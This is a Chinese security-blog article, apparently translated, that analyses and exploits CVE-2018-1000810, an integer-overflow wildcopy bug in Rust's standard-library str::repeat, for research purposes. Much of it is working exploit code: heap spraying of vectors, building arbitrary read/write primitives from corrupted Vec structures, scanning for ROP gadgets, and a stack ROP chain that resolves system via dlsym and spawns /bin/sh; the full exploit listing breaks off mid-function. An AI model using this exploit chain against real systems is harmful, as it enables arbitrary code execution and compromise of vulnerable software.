Rust标准库漏洞从分析到漏洞利用研究 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

Rust标准库漏洞从分析到漏洞利用研究

h1apwn 技术 2020-10-14 09:44:03
收藏

导语:如果攻击者具有任意的读/写原语,那么防御者基本上无能为力,由于内存损坏漏洞总是可以构造这些原语,导致我可以以最可靠的方式利用漏洞。

0x01 背景介绍

如果攻击者具有任意的读/写原语,那么防御者基本上无能为力,由于内存损坏漏洞总是可以构造这些原语,导致我可以以最可靠的方式利用漏洞。

在这篇文章中,我将分析和利用CVE-2018-1000810,这是Scott McMurray在Rust的标准库中发现的漏洞。我将分析该漏洞的根本原因,如何触发该漏洞以及使用该漏洞构造一组强大的原语进而利用。

 https://github.com/rust-lang/rust/pull/54397

Rust这种语言非常适合开发需要安全性高的应用程序。此漏洞已在最新版本中修复,切勿将单个漏洞作为整体安全性的指标,我之所以分析这个漏洞,是因为我喜欢这种语言和漏洞,而且我想了解更多。

该漏洞是一个64位的通配符。我有机会在WSL中利用其他通配符,因此,如果你对更多的通配符感兴趣,或者只是想在阅读此文章之前快速介绍该概念,可以观看我的演讲“ Linux漏洞利用,Windows漏洞利用”。这是可靠地利用内核空间中的通配符的一个很好的漏洞例子。

 https://github.com/saaramar/execve_exploit

对于此Rust漏洞,我会分析用户空间,并且将使用非常简单且稳定的Wildcopy漏洞。我将编写一个简单的Rust程序,利用该漏洞执行本机代码,这意味着:

· 没有“不安全”的代码块

· 我唯一使用的crates是thread,time和sync :: mpsc :: channel(即只有两行带有“ use”的行使用std :: {thread,time};使用std :: sync :: mpsc :: channel;)

我在Ubuntu 19.10上开发了该漏洞利用程序,这应该适用于其他版本的Ubuntu,我也在WSL v1 / v2和Debian 10上进行了测试。可以100%稳定利用:)

0x02 漏洞分析

2018年9月21日,该漏洞发布了公告。此公告中已对其进行了修复,该漏洞是在1.26.0版中引入的,并在1.29.0版之后进行了修复。这些版本之间的所有稳定版本都会受到影响,因此我将在本文章中使用Rust 1.29.0。

 https://blog.rust-lang.org/2018/09/21/Security-advisory-for-std.html
 
 https://github.com/rust-lang/rust/pull/54398/files

我将从以下代码开始分析:

 fn main() { let _s = "AAAA".repeat(0x4000000000000001); }

如果使用Rust编译器1.29.0进行编译,可以清楚地看到函数中的乘法:

image.png

可以控制imul指令的2个操作数!现在运行程序:

 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ cat src/main.rs
 fn main() {
     let _s = "AAAA".repeat(0xc000000000000001);
 }
 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ rustc --version
 rustc 1.29.0 (aa3ca1994 2018-09-11)
 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ cargo run
    Compiling exploit v0.1.0 (file:///mnt/c/projects/rust/exploit)
     Finished dev [unoptimized + debuginfo] target(s) in 2.92s
      Running `target/debug/exploit`
 Segmentation fault (core dumped)
 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$

遇到了段错误!在Rust中这种问题很奇怪,当运行时安全检查检测到问题并导致程序中止时,就会发生这种情况。这是它崩溃的原因:

 (gdb) start
 Temporary breakpoint 1 at 0x6072: file src/main.rs, line 2.
 Starting program: /mnt/c/projects/rust/exploit/target/debug/exploit
 [Thread debugging using libthread_db enabled]
 Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
 Temporary breakpoint 1, exploit::main () at src/main.rs:2
 2           let _s = "AAAA".repeat(0xc000000000000001);
 (gdb) c
 Continuing.
 
 Program received signal SIGSEGV, Segmentation fault.
 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:249
 249     ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
 (gdb) x/8i $rip
 => 0x7ffffe92eb1f :    rep movsb %ds:(%rsi),%es:(%rdi)
    0x7ffffe92eb21 :    retq
    0x7ffffe92eb22 :    cmp    $0x10,%dl
    0x7ffffe92eb25 :    jae    0x7ffffe92eb3e     0x7ffffe92eb27 :    cmp    $0x8,%dl
    0x7ffffe92eb2a :    jae    0x7ffffe92eb53     0x7ffffe92eb2c :    cmp    $0x4,%dl
    0x7ffffe92eb2f :    jae    0x7ffffe92eb64  (gdb) x/8gx $rsi
 0x7ffffe400000: 0x4141414141414141      0x4141414141414141
 0x7ffffe400010: 0x4141414141414141      0x4141414141414141
 0x7ffffe400020: 0x4141414141414141      0x4141414141414141
 0x7ffffe400030: 0x4141414141414141      0x4141414141414141
 (gdb) x/8gx $rdi
 0x7ffffe600000: Cannot access memory at address 0x7ffffe600000
 (gdb)

POC的第一个段错误是由于开发WSL时出现的类似问题(这次是在用户空间中,而不是内核空间中)。处理通配符当循环到达未映射的页面并试图在其中复制数据时,程序将极有可能崩溃,这是触发通配符漏洞后我期望的经典段错误。

0x03 漏洞利用

已经可以触发通配符漏洞,我的利用是在64位程序上进行的,当我利用这种内存破坏漏洞时,我需要搞明白几个重要的问题:

· 我能否控制(甚至部分控制)我正在破坏的数据的内容?

· 我可以控制要破坏的数据的长度吗?

另一个问题也很重要:

· 我可以控制正在破坏块的大小吗?

最后一个问题很重要,因为在jemalloc / LFH(或每个基于存储的分配器)中,如果无法控制要破坏的块的大小,则可能很难对堆进行整理,从而破坏一个特定目标结构(如果该结构的大小明显不同)。

乍一看,第一个问题(关于我控制内容的能力)的答案似乎是“是”。我正在使用一个字符串,所以我假设我可以使用想要的任何字节值,除了“ \ x00”(经典的C字符串利用问题)。

开始编写漏洞利用,由于以下检查,出现了编译错误:

 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ cargo run
    Compiling exploit v0.1.0 (file:///mnt/c/projects/rust/exploit)
 error: this form of character escape may only be used with characters in the range [\x00-\x7f]
  --> src/main.rs:2:21
   |
 2 |     let _s = "\x7f\xff\xff\xff".repeat(0xc000000000000001);
   |                     ^^
 
 error: aborting due to previous error
 
 error: Could not compile `exploit`.
 
 To learn more, run the command again with --verbose.
 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$

Rust不允许我在String实例中使用非UTF-8字符。因此,我必须破坏[0x00,0x7f]范围内的字节。在内核空间中利用它会更加复杂(仅使用此范围很难伪造指针),但是我在用户空间中,因此使用此范围可以表示很多指针,这没有问题。

现在,转到第二个问题–控制我破坏数据的长度。答案显然是“不行”。要触发该漏洞,我必须指定一个大于2 ** 64字节的大小,但实际上,我可能能够以某种方式不使用通配符。

在这里有很多选择:

· 依靠竞争条件–尽管通配符会破坏某些有用的目标结构或内存,但可以竞争其他线程以使用现在已损坏的数据在通配符崩溃之前执行某些操作(例如,构造其他原语,终止通配符等)。

· 如果wildcopy循环在每次迭代时都调用一个虚函数,并且指向该函数的指针位于堆内存中的结构中(或位于我在wildcopy期间可能损坏的其他内存地址中),则漏洞利用程序可以使用该循环覆盖并在通配期间转移执行。这种方法的一个很好的例子是一些Stagefright漏洞利用程序在Android中的工作方式。

· 如果wildcopy循环具有某种逻辑,可以在某些情况下停止循环,那么我可以弄乱这些检查,并在破坏足够的数据后停止循环,这正是我利用前面提到的WSL漏洞所采取的方法。

遗憾的是,后两个选项在这里不适用。在本例中,检查发生复制的循环逻辑:

image.png

因此,我选择第一种方法。

我可以控制破坏的块大小,覆盖大小的计算公式为:

 length_of_string * repeat_arg

例如,如果我希望块的大小为0x100,则可以使用以下代码:

 "AAAA".repeat(0x4000000000000000+0x100/4);

该调用将使Rust运行时分配0x100字节,然后向其中写入2 ** 64 + 0x100字节。

分配&喷射原语

可以使用vectors / strings / etc进行Spray,可以控制它们的分配大小(例如,使用Vec :: with_capacity())。关于jemalloc的一个有用事实是,对于很大的分配,分配器从上到下分配块如下:

 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ cargo run
     Finished dev [unoptimized + debuginfo] target(s) in 0.01s
      Running `target/debug/exploit`
 thread 0x1: allocate chunk @ 0x7f7a39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7939200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7839200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7739200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7639200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7539200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7439200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7339200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7239200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7139200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f7039200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6f39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6e39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6d39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6c39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6b39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6a39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6939200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6839200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6739200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6639200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6539200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6439200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6339200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6239200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6139200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f6039200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5f39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5e39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5d39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5c39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5b39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5a39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5939200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5839200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5739200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5639200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5539200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5439200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5339200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5239200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5139200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f5039200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4f39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4e39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4d39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4c39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4b39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4a39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4939200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4839200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4739200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4639200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4539200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4439200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4339200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4239200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4139200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f4039200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3f39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3e39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3d39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3c39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3b39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3a39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3939200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3839200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3739200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3639200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3539200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3439200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3339200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3239200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3139200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f3039200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f2f39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f2e39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f2d39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f2c39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f2b39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f2a39200000, size 0x100000000
 thread 0x1: allocate chunk @ 0x7f2939200000, size 0x100000000

崩溃现场

从一个简单但非常重要的步骤开始。在memcpy中遇到未映射的页面时在segfault中获取代码对我来说几乎没有用。我希望获得对存储器的读取或写入,跳转或其他任何可以使用的功能。我将在这里进行任意读/写原语,为此,将针对结构std :: Vec进行操作。在许多语言中,vector是漏洞利用的有用工具,因为一旦损坏,vector基本上就是内存的读/写接口。它们通常具有一个length字段和一个原始指针,并且它们的标准接口读取或写入任意值到该指针指向的地址。根据Rust中的实现,这是将Rustvector中的项目写入其中的方式:

 pub fn insert(&mut self, index: usize, element: T) {
         let len = self.len();
         assert!(index <= len);
 
         // space for the new element
         if len == self.buf.capacity() {
             self.reserve(1);
         }
 
         unsafe {
             // infallible
             // The spot to put the new value
             {
                 let p = self.as_mut_ptr().add(index);
                 // Shift everything over to make space. (Duplicating the
                 // `index`th element into two consecutive places.)
                 ptr::copy(p, p.offset(1), len - index);
                 // Write it in, overwriting the first copy of the `index`th
                 // element.
                 ptr::write(p, element);
             }
             self.set_len(len + 1);
         }
     }

在与该集合一起使用的其他接口中也使用ptr::write和ptr::read,例如push()和pop()以及写入该vector的任何其他API。该API允许我控制正在写入的值,因此,如果我有一种控制指针的方法,则可以进行任意写入。以类似的方式,可以任意读取。

因此,尝试执行以下操作:

· 喷射一个有趣的结构(std :: Vec)并调整堆的形状,以便在目标结构之前在内存中分配易受攻击的分配

· 在另一个线程中触发漏洞

· 查找损坏的vector,并以一种有趣的方式使用该vector(只需对其进行读取或写入)

这种方法的唯一问题是通配符线程总会竞争成功。我试图创建许多线程,每个线程都喷射大量vector并使用它们。经过一些整理之后,我得到了一个任意写入(core :: ptr :: write crash,并带有通配符中的重复值),但是它太不稳定了(只能工作约50%)。我需要最终漏洞利用将是100%稳定的。

处理该问题的一种方法是尝试在我破坏了的块之后创建一个很大的映射区域,并希望在复制循环通过之前执行代码。因此,请执行以下操作:

漏洞利用:喷射10000vector,每个vector的大小0x600000(任意选择,只需足够大即可)。

漏洞线程:触发漏洞,从大小vector进行通配0x600000

利用线程:重复扫描vector,寻找长度和指针已损坏的vector

由于jemalloc从顶部到底部分配了较大的大小,因此最终会破坏所有vector。喷射完成后,可以遍历vector,看看是否改变了尺寸:

 let mut corrupted_vec = 0;
     println!("[*scan*]\tstart checking vectors");
     for i in 0..count {
         if allocs[i][0].len() > 1 {
             println!("[*scan*]\tvec corrupted! allocs[{}][0].len() == {:#x}", i, allocs[i][0].len());
             corrupted_vec = i;
             break;
         }
     }

并且,如果仅触发字符串“ AAAA”上的通配符,并且尝试将所需的任何值(例如0x9090909090909090)写入损坏的vector,则可以肯定地得到:

 Thread 2 "exploit" received signal SIGSEGV, Segmentation fault.
 [Switching to Thread 0x7f4a7cdf0700 (LWP 8807)]
 0x00007f4a7e408d19 in exploit::do_arbitrary_write (allocs=0x7f4a7cdef680, count=10000, target_vec=1725, second_target_vec=6299648, addr=139640115757568, value=29400045130965551)
     at src/main.rs:21
 21              allocs[i][0][0] = 0x9090909090909090;
 (gdb) x/2i $rip
 => 0x7f4a7e408d19 :    mov    %rax,(%rcx)
    0x7f4a7e408d1c :    jmpq   0x7f4a7e408c50  (gdb) i r rcx
 rcx            0x4141414141414141       4702111234474983745
 (gdb) i r rax
 rax            0x9090909090909090       -8029759185026510704
 (gdb)

任意读/写

现在有一个来自于wildcopy的任意写原语!我希望能够多次将内存读取和写入不同的地址,使用[]索引运算符,就可以做到。我所需要做的就是用某个地址(NULL或某个任意值)破坏vector结构中的原始指针,并将其长度设置为0xffffffffffffffffff。然后,我可以相对于该固定地址进行读取/写入,这使其成为整个地址空间,因此地址是任意的。这是利用它的经典方法(也适用于JS等其他语言),并且效果很好。但是,在这种情况下,我需要担心的事情很少:vector的地址和长度字段的字节数不能超出[0x80-0xff]范围,而且由于实现std :: Vec和Slices的方式,我需要在乘法运算中引起整数溢出才能到达整个空间。这似乎是可行的,但对我而言,一种更直观的方法是使用两个vector而不是一个vector来避免这些问题。

我将使用一个将被通配符破坏的vector,作为接口在单个地址上的写入。该地址将包含另一个vector-使用堆整形应该很容易。如果我在第一个vector的索引0处分配一个值,则实际上将破坏第二个vector的原始指针。完成此操作后,我将控制第二个vector现在指向的绝对地址。然后,我可以在第二个vector的索引0处分配一个值,然后将该值设置为我之前选择的地址。我可以根据需要对内存中的任意地址重复此过程任意多次,以进行任意数量的任意读写。

为此,将执行以下操作:

· 堆喷很多载体

· 具有已知映射地址的通配符

· 使用损坏的vector在堆中查找另一个vector(使用相对读取方式)

· 更改第二个vector,然后对其进行读/写

现在,我可以继续更改第二个vector,并将其用作读取/写入的接口。唯一的问题:我需要在已知地址处分配vector,因此需要知道堆在哪里。通常,堆空间如下所示:

image.png

这样可以绕过jemalloc中的ASLR!

随机基址

现在有了任意的读/写原语,但是在触发漏洞之前,必须依赖于某些映射的地址(必须将此地址设置为wildcopy中的值...)。我通常不喜欢喷射很多东西并猜测一个地址,但这可能是一个很好的入门方法,看看它能带给我什么。另外,我正在运行Ubuntu,它没有堆随机化。在其他平台上,很难简单地喷射很多数据并猜测一个地址。但是在这种情况下,在Ubuntu上使用jemalloc喷射几十MB内存足以达到已知的地址范围。经过多次Scrapy大量数据之后,可以看到始终可以达到一系列地址。我选择了地址0x7f007f7f0000,因为分配器不需要太多分配即可到达,并且它不包含高于0x7f的任何字节(否则,将其表示为UTF-8字符串会有麻烦)。将此与先前的POC结合使用以进行任意写入,可以通过不断破坏第二个vector(我使用相对于已知映射地址的相对读取来泄漏其地址)来获得通用的任意读取/写入,然后使用[]操作对其进行读写。

通过调用构建的原语进行测试:

 do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, 0x434343434343434343, 0x4848484848484848);

看到它将导致以下结果:

 Thread 2 "exploit" received signal SIGSEGV, Segmentation fault.
 [Switching to Thread 0x7fa070ff0700 (LWP 24521)]
 0x00007fa07280ae32 in exploit::do_arbitrary_write (allocs=0x7fa070fef658,
     corrupted_vec=9997, target_vec=23076864, target_idx=3148, addr=4846791580151137091,
     value=5208492444341520456) at src/main.rs:68
 68          allocs[target_idx][0][0] = value;
 (gdb) x/2i $rip
 => 0x7fa07280ae32 :    mov    %rcx,(%rax)
    0x7fa07280ae35 :    add    $0x78,%rsp
 (gdb) i r rax
 rax            0x4343434343434343       4846791580151137091
 (gdb) i r rcx
 rcx            0x4848484848484848       5208492444341520456
 (gdb)

唯一的问题是,当我喷射巨大的vector时,我猜测的地址很可能包含其中一个vector的数据缓冲区的一部分,而不是vector结构本身。因此,该地址只是映射,但不包含我要定位的结构,为了克服这个问题,我可以喷射更多的vector,作为第一个vector的成员。现在,我在堆上有很多vector结构,包括在此地址的可能性很高。目前有什么?

· 任意读/写原语

· 已知地址中的任意内容

· 已知堆地址

现在,我只需要运行一些Payload。这里有很多方法可以考虑,我可以尝试为数据攻击找到很好的目标,但是我选择了最简单,最快的方法:在堆栈上写一个ROP链,弹出一个shell。为此,我需要泄漏库的基地址,而不仅仅是堆的地址。鉴于我当前的原始数据,到达那里非常容易。

我有很多选择:

· 在dlmalloc中,当我释放一个块时,在它的header之前,我有绝对指针指向bin中的上一个/下一个块。如果是第一个,那么在libc中有指向bins符号的指针。读取它们将为我提供libc中符号的虚拟地址,从中可以计算其基地址。这是在CTF中非常有用的技术。也许我可以使用jemalloc基于元数据找到类似的东西。

· 查找具有vtable的结构,并从函数指针派生库地址

由于此漏洞利用的主要目的是从通配符创建稳定的读/写原语,只需使用读原语读取符号的实际地址即可在Rust代码中引用该代码:

 fn get_stack_addr() -> u64 {
     let local_var = String::new();
     let stack_addr = &format!("{:p}", &local_var)[2..]; 
     return u64::from_str_radix(&stack_addr, 0x10).unwrap();
 }

要查找Gadget的地址,我可以使用已经拥有的读取原语在main()周围的.text部分中查找字节序列。现在,此ROP链所需的唯一符号是dlsym。可以通过解析ELF标头轻松解决此问题,但是这会使我的代码混乱,并且对于POC而言不必要。因此,只需添加一个extern即可将此符号导入到我的Rust代码中):

 extern {
     fn dlsym(handle: *const u8, symbol: *const u8) -> *const u8;
 }

请注意,这不需要任何不安全的块,只允许我将其强制转换为u64,如下所示:

 let dlsym_addr = dlsym as u64;

这样,我可以在二进制文件中获取堆栈地址和代码地址。

任意跳

现在,只需要破坏函数指针和返回地址,以控制执行(然后使用ROP / JOP获得任意代码执行/ system())。因为这是一个示例利用,所以我将跳到系统并结束此操作,但实际上,我可能需要跳到mprotect并执行Payload。由于在GOT上的RELRO,我不能轻易破坏那里的函数指针。我可以在已知地址使用函数指针,例如在jemalloc中的malloc_hook / etc。没有检查堆栈上返回地址的完整性(Intel / AMD,在aarch64 PAC中)。使用绝对写入方法来破坏堆栈上的返回地址,并从那里继续进行ROP链操作。

注意:我不想依赖于不同libc版本中的偏移量,因此我仅依赖二进制文件中的偏移量。因此,我利用了dlsym始终位于二进制文件中的优势,而在ROP中,我的做发如下:

· 将字符串“ system \ x00”写入已知地址

· 将字符串“ / bin / sh \ x00”写入已知地址

· dlsym(NULL,“system”)

· system(“ / bin / sh \ x00”)

ROP链:

 println!("[*corrupt*]\tstack addr @ {:#x}, ret_addr @ {:#x}", stack_addr, ret_addr);
 
     // set up the strings I need
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, BIN_SH_STR, 0x0068732f6e69622f);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, SYSTEM, 0x006d6574737973);
 
     // build the ROP on the stack
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*0, main_addr + pop_rdi_ret_off + 1); // make stack aligned for movaps
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*1, main_addr + pop_rdi_ret_off);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*2, 0);    // handle = NULL;
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*3, main_addr + pop_rsi_ret_off);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*4, SYSTEM);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*5, dlsym_addr);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*6, main_addr + pop_rdi_jmp_rax_off);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*7, BIN_SH_STR);

总结一下:

· 需要进行大量分配,直到分配器使用我选择的地址为止

· 这些分配包含许多vector

· 分配大小相同的大字符串以开始使用wildcopy,它位于vector分配之前

· 使用我选择的相同地址破坏一些vector

· 找到此vector,并使用相对读取向前扫描并找到另一个vector

· 破坏第二个vector的原始指针,并将其用于任意读取/写入

POC:

image.png

字符串和Unicode限制

在发布此文章之前,我向我的好朋友Tomash展示了此漏洞的利用方法。他建议尝试使用更高的Unicode代码点,即使Rust在范围[0x00,0x7f]中有点难受。看看当我在UTF-8中使用另一个需要多字节字符的字符串并用它触发通配符时会发生什么。

vector.length损坏,具有以下值:

 https://twitter.com/tom41sh
 
 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ cargo run
    Compiling exploit v0.1.0 (file:///mnt/c/projects/rust/exploit)
     Finished dev [unoptimized + debuginfo] target(s) in 3.75s
      Running `target/debug/exploit`
 [*start*]       Let the fun begin!
 [*shape*]       shape: spraying vectors
 [*shape*]       shape: done spraying vectors
 [*vuln*]        trigger_vulnerability
 [*scan*]        start checking vectors
 [*scan*]        vec corrupted! allocs[9997][0].len() == 0x90d790d790d790d7
 [*scan*]        done checking vectors

这样,我能够使用单个vector而不是两个vector在整个用户空间范围内实现任意读取/写入,该漏洞利用已经可以用于这两个vector,为了完整起见,我将其他方法放在这里。

相关平台

有趣的是,由于此漏洞在Rust的标准库中,因此它打破了许多产品使用字符串的假设。我当时正在考虑将此漏洞转换为servo(在RCE流程中)或redux-os(在LPE流程中)。

完整的漏洞利用代码如下:

 https://github.com/saaramar/str_repeat_exploit/raw/master/src
 
 use std::{thread, time};
 use std::sync::mpsc::channel;
 
 extern {
     fn dlsym(handle: *const u8, symbol: *const u8) -> *const u8;
 }
 
 static ERROR_VALUE      : u64           = 0xffffffffffffffff;
 
 static VECTOR_SIZE      : usize         = 0x600000;
 static VECTOR_SPRAY_CNT : usize         = 10000;
 
 static BIN_SH_STR       : u64           = 0x7f007f7f0000 + 0x200;
 static SYSTEM           : u64           = 0x7f007f7f0000 + 0x220;
 static POP_RDI_JMP_RAX  : u64           = 0xe0ff5f;
 static POP_RDI_RET      : u64           = 0xc35f;
 static POP_RSI_RET      : u64           = 0xc35e;
 
 fn get_stack_addr() -> u64 {
     let local_var = String::new();
     let stack_addr = &format!("{:p}", &local_var)[2..]; 
     return u64::from_str_radix(&stack_addr, 0x10).unwrap();
 }
 
 fn scan_for_value(allocs : &mut Vec, corrupted_vec : usize, 
                                                         target_vec : usize, target_idx : usize,
                                                         addr : u64, bytes : u64, mask : u64) -> u64 {
     for i in 0..0x1000000 {
         let mut val = do_relative_read(allocs, corrupted_vec, target_vec, target_idx, addr, i);
         for j in 0..8 {
             val = val >> (8 * (j as u64));
             if (val & mask) == bytes {
                 return (i*8 + j) as u64;
             }
         }
     }
 
     return ERROR_VALUE;
 }
 
 fn scan_for_qword(allocs : &mut Vec, corrupted_vec : usize, 
                                                         target_vec : usize, target_idx : usize,
                                                         addr : u64, qword : u64) -> u64 {
     for i in 0..0x1000000 {
         let mut val = do_relative_read(allocs, corrupted_vec, target_vec, target_idx, addr, i);
         if (val & 0xffffffffffff0000) == ( qword & 0xffffffffffff0000) {
             if val > qword {
                 return (i*8) as u64;
             }
         }
     }
 
     return ERROR_VALUE;
 }
 
 fn do_relative_read(allocs : &mut Vec, corrupted_vec : usize, 
                                                         target_vec : usize, target_idx : usize,
                                                         addr : u64, offset : usize) -> u64 {
     allocs[corrupted_vec][0][target_vec] = addr;
     return allocs[target_idx][0][offset];
 
 }
 
 fn do_arbitrary_write(allocs : &mut Vec, corrupted_vec : usize, 
                                                         target_vec : usize, target_idx : usize,
                                                         addr : u64, value : u64) {
     allocs[corrupted_vec][0][target_vec] = addr;
     allocs[target_idx][0][0] = value;
 }
 
 fn corrupt_with_rop(allocs : &mut Vec, corrupted_vec : usize, 
                                                       target_vec : usize,
                                                       target_idx : usize) {
     let stack_addr = get_stack_addr();
     let main_addr = main as u64;
     let dlsym_addr = dlsym as u64;
 
     println!("[*corrupt*]\tresolve gadgets");
     let pop_rdi_ret_off = scan_for_value(allocs, corrupted_vec, target_vec, target_idx, main_addr, POP_RDI_RET, 0xffff) + 1;
     let pop_rsi_ret_off = scan_for_value(allocs, corrupted_vec, target_vec, target_idx, main_addr, POP_RSI_RET, 0xffff);
     let pop_rdi_jmp_rax_off = scan_for_value(allocs, corrupted_vec, target_vec, target_idx, main_addr, POP_RDI_JMP_RAX, 0xffffff);
     let ret_addr_off = scan_for_qword(allocs, corrupted_vec, target_vec, target_idx, stack_addr+0x450, exploit_thread as u64);
 
     let ret_addr = stack_addr + 0x450 + ret_addr_off;
     if pop_rdi_ret_off == ERROR_VALUE || pop_rsi_ret_off == ERROR_VALUE || pop_rdi_jmp_rax_off == ERROR_VALUE {
         println!("[*corrupt*] failed to resolve gadgets, abort");
         return;
     }
 
     println!("[*corrupt*]\tstack addr @ {:#x}, ret_addr @ {:#x}", stack_addr, ret_addr);
 
     // set up the strings I need
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, BIN_SH_STR, 0x0068732f6e69622f);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, SYSTEM, 0x006d6574737973);
 
     // build the ROP on the stack
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*0, main_addr + pop_rdi_ret_off + 1); // make stack aligned for movaps
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*1, main_addr + pop_rdi_ret_off);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*2, 0);    // handle = NULL;
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*3, main_addr + pop_rsi_ret_off);
     do_arbitrary_write(allocs, corrupted_vec, target_vec, target_idx, ret_addr+0x8*4, SYSTEM);
